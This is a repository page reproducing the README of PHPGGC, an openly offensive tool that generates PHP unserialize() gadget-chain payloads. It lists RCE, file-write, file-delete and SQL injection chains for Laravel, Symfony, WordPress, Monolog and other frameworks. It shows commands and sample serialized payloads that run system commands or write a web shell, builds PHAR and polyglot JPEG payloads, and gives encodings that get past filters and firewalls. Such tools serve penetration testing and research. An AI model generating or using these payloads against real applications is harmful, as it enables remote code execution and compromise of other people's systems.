# phpggc **Repository Path**: evaltx/phpggc ## Basic Information - **Project Name**: phpggc - **Description**: No description available - **Primary Language**: Unknown - **License**: Apache-2.0 - **Default Branch**: master - **Homepage**: None - **GVP Project**: No ## Statistics - **Stars**: 0 - **Forks**: 0 - **Created**: 2021-08-31 - **Last Updated**: 2021-08-31 ## Categories & Tags **Categories**: Uncategorized **Tags**: None ## README # PHPGGC: PHP Generic Gadget Chains *PHPGGC is a library of unserialize() payloads along with a tool to generate them, from command line or programmatically*. When encountering an unserialize on a website you don't have the code of, or simply when trying to build an exploit, this tool allows you to generate the payload without having to go through the tedious steps of finding gadgets and combining them. It can be seen as the equivalent of [frohoff's ysoserial](https://github.com/frohoff/ysoserial), but for PHP. Currently, the tool supports gadget chains such as: CodeIgniter4, Doctrine, Drupal7, Guzzle, Laravel, Magento, Monolog, Phalcon, Podio, Slim, SwiftMailer, Symfony, Wordpress, Yii and ZendFramework. ## Requirements PHP >= 5.6 is required to run PHPGGC. ## Usage Run `./phpggc -l` to obtain a list of gadget chains: ``` $ ./phpggc -l Gadget Chains ------------- NAME VERSION TYPE VECTOR I CodeIgniter4/RCE1 4.0.0-beta.1 <= 4.0.0-rc.4 RCE (Function call) __destruct CodeIgniter4/RCE2 4.0.0-rc.4 <= 4.0.4+ RCE (Function call) __destruct Doctrine/FW1 ? File write __toString * Doctrine/FW2 2.3.0 <= 2.4.0 v2.5.0 <= 2.8.5 File write __destruct * Drupal7/FD1 7.0 < ? File delete __destruct * Drupal7/RCE1 7.0.8 < ? RCE (Function call) __destruct * Guzzle/FW1 6.0.0 <= 6.3.3+ File write __destruct Guzzle/INFO1 6.0.0 <= 6.3.2 phpinfo() __destruct * Guzzle/RCE1 6.0.0 <= 6.3.2 RCE (Function call) __destruct * Horde/RCE1 <= 5.2.22 RCE (PHP code) __destruct * Laminas/FD1 <= 2.11.2 File delete __destruct Laminas/FW1 2.8.0 <= 3.0.x-dev File write __destruct * Laravel/RCE1 5.4.27 RCE (Function call) __destruct Laravel/RCE2 5.5.39 RCE (Function call) __destruct Laravel/RCE3 5.5.39 RCE (Function call) __destruct * Laravel/RCE4 5.5.39 RCE (Function call) __destruct Laravel/RCE5 5.8.30 RCE (PHP code) __destruct * Laravel/RCE6 5.5.* RCE (PHP code) __destruct * Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct * Magento/FW1 ? <= 1.9.4.0 File write __destruct * Magento/SQLI1 ? <= 1.9.4.0 SQL injection __destruct Monolog/RCE1 1.4.1<=1.6.1 & 1.17.2<=2.2.0+ RCE (Function call) __destruct Monolog/RCE2 1.4.1 <= 2.2.0+ RCE (Function call) __destruct Monolog/RCE3 1.0.2 <= 1.10.0 RCE (Function call) __destruct Monolog/RCE4 ? <= 2.4.4+ RCE (Command) __destruct * Monolog/RCE5 1.25 <= 2.2.0+ RCE (Function call) __destruct Monolog/RCE6 1.10.0 <= 2.2.0+ RCE (Function call) __destruct Monolog/RCE7 1.10.0 <= 2.2.0+ RCE (Function call) __destruct * Phalcon/RCE1 <= 1.2.2 RCE __wakeup * PHPCSFixer/FD1 <= 2.17.3 File delete __destruct PHPCSFixer/FD2 <= 2.17.3 File delete __destruct PHPExcel/FD1 1.8.2+ File delete __destruct PHPExcel/FD2 <= 1.8.1 File delete __destruct PHPExcel/FD3 1.8.2+ File delete __destruct PHPExcel/FD4 <= 1.8.1 File delete __destruct Pydio/Guzzle/RCE1 < 8.2.2 RCE (Function call) __toString Slim/RCE1 3.8.1 RCE (Function call) __toString Smarty/FD1 ? File delete __destruct Smarty/SSRF1 ? SSRF __destruct * SwiftMailer/FD1 -5.4.12+, -6.2.1+ File delete __destruct SwiftMailer/FW1 5.1.0 <= 5.4.8 File write __toString SwiftMailer/FW2 6.0.0 <= 6.0.1 File write __toString SwiftMailer/FW3 5.0.1 File write __toString SwiftMailer/FW4 4.0.0 <= ? File write __destruct Symfony/FW1 2.5.2 File write DebugImport * Symfony/FW2 3.4 File write __destruct Symfony/RCE1 3.3 RCE (Command) __destruct * Symfony/RCE2 2.3.42 < 2.6 RCE (PHP code) __destruct * Symfony/RCE3 2.6 <= 2.8.32 RCE (PHP code) __destruct * Symfony/RCE4 3.4.0-34, 4.2.0-11, 4.3.0-7 RCE (Function call) __destruct * Symfony/RCE5 5.2.* RCE (Function call) __destruct TCPDF/FD1 <= 6.3.5 File delete __destruct * ThinkPHP/RCE1 5.1.x-5.2.x RCE (Function call) __destruct * WordPress/Dompdf/RCE1 0.8.5+ & WP < 5.5.2 RCE (Function call) __destruct * WordPress/Dompdf/RCE2 0.7.0 <= 0.8.4 & WP < 5.5.2 RCE (Function call) __destruct * WordPress/Guzzle/RCE1 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __toString * WordPress/Guzzle/RCE2 4.0.0 <= 6.4.1+ & WP < 5.5.2 RCE (Function call) __destruct * WordPress/P/EmailSubscribers/RCE1 4.0 <= 4.4.7+ & WP < 5.5.2 RCE (Function call) __destruct * WordPress/P/EverestForms/RCE1 1.0 <= 1.6.7+ & WP < 5.5.2 RCE (Function call) __destruct * WordPress/P/WooCommerce/RCE1 3.4.0 <= 4.1.0+ & WP < 5.5.2 RCE (Function call) __destruct * WordPress/P/WooCommerce/RCE2 <= 3.4.0 & WP < 5.5.2 RCE (Function call) __destruct * WordPress/P/YetAnotherStarsRating/RCE1 ? <= 1.8.6 & WP < 5.5.2 RCE (Function call) __destruct * WordPress/PHPExcel/RCE1 1.8.2+ & WP < 5.5.2 RCE (Function call) __toString * WordPress/PHPExcel/RCE2 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __toString * WordPress/PHPExcel/RCE3 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * WordPress/PHPExcel/RCE4 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * WordPress/PHPExcel/RCE5 1.8.2+ & WP < 5.5.2 RCE (Function call) __destruct * WordPress/PHPExcel/RCE6 <= 1.8.1 & WP < 5.5.2 RCE (Function call) __destruct * Yii/RCE1 1.1.20 RCE (Function call) __wakeup * Yii2/RCE1 <2.0.38 RCE (Function call) __destruct * Yii2/RCE2 <2.0.38 RCE (PHP code) __destruct * ZendFramework/FD1 ? <= 1.12.20 File delete __destruct ZendFramework/RCE1 ? <= 1.12.20 RCE (PHP code) __destruct * ZendFramework/RCE2 1.11.12 <= 1.12.20 RCE (Function call) __toString * ZendFramework/RCE3 2.0.1 <= ? RCE (Function call) __destruct ZendFramework/RCE4 ? <= 1.12.20 RCE (PHP code) __destruct * ``` Filter gadget chains: ``` $ ./phpggc -l laravel Gadget Chains ------------- NAME VERSION TYPE VECTOR I Laravel/RCE1 5.4.27 RCE (Function call) __destruct Laravel/RCE2 5.5.39 RCE (Function call) __destruct Laravel/RCE3 5.5.39 RCE (Function call) __destruct * Laravel/RCE4 5.5.39 RCE (Function call) __destruct Laravel/RCE5 5.8.30 RCE (PHP code) __destruct * Laravel/RCE6 5.5.* RCE (PHP code) __destruct * Laravel/RCE7 ? <= 8.16.1 RCE (Function call) __destruct * ``` Every gadget chain has: - Name: Name of the framework/library - Version: Version of the framework/library for which gadgets are for - Type: Type of exploitation: RCE, File Write, File Read, Include... - Vector: the vector to trigger the chain after the unserialize (`__destruct()`, `__toString()`, `offsetGet()`, ...) - Informations: Other informations about the chain Use `-i` to get detailed information about a chain: ``` $ ./phpggc -i symfony/rce1 Name : Symfony/RCE1 Version : 3.3 Type : rce Vector : __destruct Informations : Exec through proc_open() ./phpggc Symfony/RCE1 ``` Once you have selected a chain, run `./phpggc [parameters]` to obtain the payload. For instance, to obtain a payload for Monolog, you'd do: ``` $ ./phpggc monolog/rce1 assert 'phpinfo()' O:32:"Monolog\Handler\SyslogUdpHandler":1:{s:9:"*socket";O:29:"Monolog\Handler\BufferHandler":7:{s:10:"*handler";r:2;s:13:"*bufferSize";i:-1;s:9:"*buffer";a:1:{i:0;a:2:{i:0;s:10:"phpinfo();";s:5:"level";N;}}s:8:"*level";N;s:14:"*initialized";b:1;s:14:"*bufferLimit";i:-1;s:13:"*processors";a:2:{i:0;s:7:"current";i:1;s:6:"assert";}}} ``` For a file write using SwiftMailer, you'd do: ``` $ echo 'It works !' > /tmp/data $ ./phpggc swiftmailer/fw1 /var/www/html/shell.php /tmp/data O:13:"Swift_Message":8:{...} ``` ## Wrapper The `--wrapper` (`-w`) option allows you to define a PHP file containing the following functions: - `process_parameters($parameters)`: Called right **before** `generate()`, allows to change parameters - `process_object($object)`: Called right **before** `serialize()`, allows to change the object - `process_serialized($serialized)`: Called right **after** `serialize()`, allows to change the serialized string For instance, if the vulnerable code looks like this: ```php $object ); } ``` And you'd call phpggc like so: ``` $ ./phpggc -w /tmp/my_wrapper.php slim/rce1 system id a:1:{s:7:"message";O:18:"Slim\Http\Response":2:{...}} ``` ## PHAR(GGC) ### History At BlackHat US 2018, @s_n_t released PHARGGC, a fork of PHPGGC which instead of building a serialized payload, builds a whole PHAR file. This PHAR file contains serialized data and as such can be used for various exploitation techniques (`file_exists`, `fopen`, etc.). The paper is [here](https://cdn2.hubspot.net/hubfs/3853213/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-....pdf). ### Implementation PHAR archives come in three different formats: **PHAR, TAR, and ZIP**. The three of them are supported by PHPGGC. Polyglot files can be generated using `--phar-jpeg` (`-pj`). Other options are available (use `-h`). ### Examples ``` $ # Creates a PHAR file in the PHAR format and stores it in /tmp/z.phar $ ./phpggc -p phar -o /tmp/z.phar monolog/rce1 system id $ # Creates a PHAR file in the ZIP format and stores it in /tmp/z.zip.phar $ ./phpggc -p zip -o /tmp/z.zip.phar monolog/rce1 system id $ # Creates a polyglot JPEG/PHAR file from image /tmp/dummy.jpg and stores it in /tmp/z.zip.phar $ ./phpggc -pj /tmp/dummy.jpg -o /tmp/z.zip.phar monolog/rce1 system id ``` ## Encoders Arguments allow to modify the way the payload is output. For instance, `-u` will URL encode it, and `-b` will convert it to base64. **Payloads often contain NULL bytes and cannot be copy/pasted as-is**. Use `-s` for a soft URL encode, which keeps the payload readable. The encoders can be chained, and as such **the order is important**. For instance, `./phpggc -b -u -u slim/rce1 system id` will base64 the payload, then URLencode it twice. ## Advanced: Enhancements ### Fast destruct PHPGGC implements a `--fast-destruct` (`-f`) flag, that will make sure your serialized object will be destroyed right after the `unserialize()` call, and not at the end of the script. **I'd recommend using it for every `__destruct` vector**, as it improves reliability. For instance, if PHP script raises an exception after the call, the `__destruct` method of your object might not be called. As it is processed at the same time as encoders, it needs to be set first. ``` $ ./phpggc -f -s slim/rce1 system id a:2:{i:7;O:18:"Slim\Http\Response":2:{s:10:"... ``` ### ASCII Strings Uses the `S` serialization format instead of the standard `s`. This replaces every non-ASCII char to an hexadecimal representation: `s:5:"AB";̀` -> `S:5:"A\00B\09\0D";` This can be useful when for some reason non-ascii characters are not allowed (NULL BYTE for instance). Since payloads generally contain them, this makes sure that the payload consists only of ASCII values. *Note: this is experimental and it might not work in some cases.* ### Armor Strings Uses the `S` serialization format instead of the standard `s`. This replaces every char to an hexadecimal representation: `s:5:"AB";̀` -> `S:5:"\41\00\42\09\0D";` This comes handy when a firewall or PHP code blocks strings. *Note: this is experimental and it might not work in some cases.* *Note: this makes each string in the payload grow by a factor of 3.* ### Plus Numbers Sometimes, PHP scripts verify that the given serialized payload does not contain objects by using a regex such as `/O:[0-9]+:`. This is easily bypassed using `O:+123:...` instead of `O:123:`. One can use `--plus-numbers `, or `-n `, to automatically add these `+` signs in front of symbols. For instance, to obfuscate objects and strings, one can use: `--n Os`. Please note that since PHP 7.2, only `i` and `d` (float) types can have a `+`. ### Testing your chain To test if the gadget chain you want to use works in the targeted environment, jump to your environment's folder and run the chain argument-free, with the `--test-payload` option. For instance, to test if `Monolog/RCE2` works on Symfony `4.x`: ``` $ composer create-project symfony/website-skeleton=4.x some_symfony $ cd some_symfony $ phpggc monolog/rce2 --test-payload Trying to deserialize payload... SUCCESS: Payload triggered ! ``` The exit code will be `0` if the payload triggered, `1` otherwise. ### Testing your chain against every version of a package If you wish to know which versions of a package a gadget chain works against, you can use `test-gc-compatibility.py`. ``` $ ./test-gc-compatibility.py monolog/monolog monolog/rce1 monolog/rce3 Testing 59 versions for monolog/monolog against 2 gadget chains. ┏━━━━━━━━━━━━━━━━━┳━━━━━━━━━┳━━━━━━━━━━━━━━┳━━━━━━━━━━━━━━┓ ┃ monolog/monolog ┃ Package ┃ monolog/rce1 ┃ monolog/rce3 ┃ ┡━━━━━━━━━━━━━━━━━╇━━━━━━━━━╇━━━━━━━━━━━━━━╇━━━━━━━━━━━━━━┩ │ 2.x-dev │ OK │ OK │ KO │ │ 2.3.0 │ OK │ OK │ KO │ │ 2.2.0 │ OK │ OK │ KO │ │ 2.1.1 │ OK │ OK │ KO │ │ 2.1.0 │ OK │ OK │ KO │ │ 2.0.2 │ OK │ OK │ KO │ │ 2.0.1 │ OK │ OK │ KO │ │ 2.0.0 │ OK │ OK │ KO │ │ 2.0.0-beta2 │ OK │ OK │ KO │ │ 2.0.0-beta1 │ OK │ OK │ KO │ │ 1.x-dev │ OK │ OK │ KO │ │ 1.26.1 │ OK │ OK │ KO │ │ 1.26.0 │ OK │ OK │ KO │ │ 1.25.5 │ OK │ OK │ KO │ │ 1.25.4 │ OK │ OK │ KO │ ... │ 1.0.1 │ OK │ KO │ KO │ │ 1.0.0 │ OK │ KO │ KO │ │ 1.0.0-RC1 │ OK │ KO │ KO │ │ dev-main │ OK │ OK │ KO │ │ * dev-phpstan │ OK │ OK │ KO │ └─────────────────┴─────────┴──────────────┴──────────────┘ ``` # API Instead of using PHPGGC as a command line tool, you can program PHP scripts: ```php process_parameters([ 'function' => 'system', 'parameter' => 'id', ]); # Generate the payload $object = $gc->generate($parameters); # Most (if not all) GC's do not use process_object and process_serialized, so # for quick & dirty code you can omit those two $object = $gc->process_object($object); # Serialize the payload $serialized = serialize($object); $serialized = $gc->process_serialized($serialized); # Display it print($serialized . "\n"); # Create a PHAR file from this payload $phar = new \PHPGGC\Phar\Tar($serialized); file_put_contents('output.phar.tar', $phar->generate()); ``` This allows you to tweak the parameters or write exploits more easily. *Note: This is pretty experimental at the moment, so please, report bugs*. # Contributing Pull requests are more than welcome. Please follow these simple guidelines: - `__destruct()` is always the best vector - Specify at least the version of the library you've built the payload on - Do not include unused parameters in the gadget definition if they keep their default values. It just makes the payload bigger. - Respect code style: for instance, opening brackets `{` are on a new line, and arrays should be written as `[1, 2, 3]` instead of the old, `array(1, 2, 3)`, notation. Codewise, the directory structure is fairly straightforward: gadgets in _gadgets.php_, description + logic in _chain.php_. You can define pre- and post- processing methods, if parameters need to be modified. Hopefully, the already implemented gadgets should be enough for you to build yours. Otherwise, I'd be glad to answer your questions. The `--new ` command-line option can be used to create the directory and file structure for a new gadget chain. For instance, use `./phpggc -n Drupal RCE` would create a new Drupal RCE gadgetchain. # Docker If you don't want to install PHP, you can use `docker build`. # License [Apache License 2.0](LICENSE)